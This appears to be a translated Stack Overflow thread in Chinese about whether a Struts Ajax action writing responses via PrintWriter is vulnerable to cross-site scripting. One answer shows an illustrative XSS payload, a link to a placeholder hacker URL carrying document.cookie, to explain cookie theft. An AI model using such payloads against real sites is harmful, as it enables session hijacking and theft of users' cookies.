2

我有一个使用 Ajax 执行多项任务的 Web 应用程序。它有 Java 作为中间件(Struts 1.x)

问题是我的应用程序使用静态代码分析进行了潜在的安全风险分析。分析发现,使用以下代码被认为是易受攻击的。

例如

// Method invoked by Ajax
public ActionForward execute(...)
{
    PrintWriter out = response.getWriter();

    out.println("Ajax Response");

    return null;
}

该报告明确提到使用 PrintWriter 是有害的,并且容易出现 XSS(跨站点脚本)。如果这是一个潜在的威胁,我尝试在网上搜索,但找不到任何有用的东西。请告知这是否是一个问题以及我的替代方案是什么。

编辑 - 使用out.println语句发现问题

谢谢,悉达多

4

2 回答 2

1

XSS 它是一个潜在的威胁。在这里,您将找到有关它的信息并解决有关 XSS 漏洞的问题。

更新

我还提到了十大 OWASP 漏洞。

于 2012-04-11T22:12:08.373 回答
1

你可以在网上找到很多关于 XSS 的信息,但很少有人非常详细地介绍如何测试和避免它。这是需要进行一些研究的事情之一。让我给你一个例子,你提供的代码可能是也可能不是问题的原因。

假设您的 HTML 页面对后端进行了 ajax 调用,然后您返回结果。成功后我只是给你一个jquery示例

$.each(data, function(){
$('div.result').append(this);
);

您会注意到数据只是在没有验证的情况下附加的。如果数据来自脚本小子并输入怎么办

//this might not be the correct syntax
<a href="http://somehackerurl.com/hack.php?"+document.cookie>test</a>

由于您没有验证您的输入,用户可以输入任何内容,上面的代码将窃取点击链接的人的 cookie。

希望这可以帮助

于 2012-04-11T22:16:37.340 回答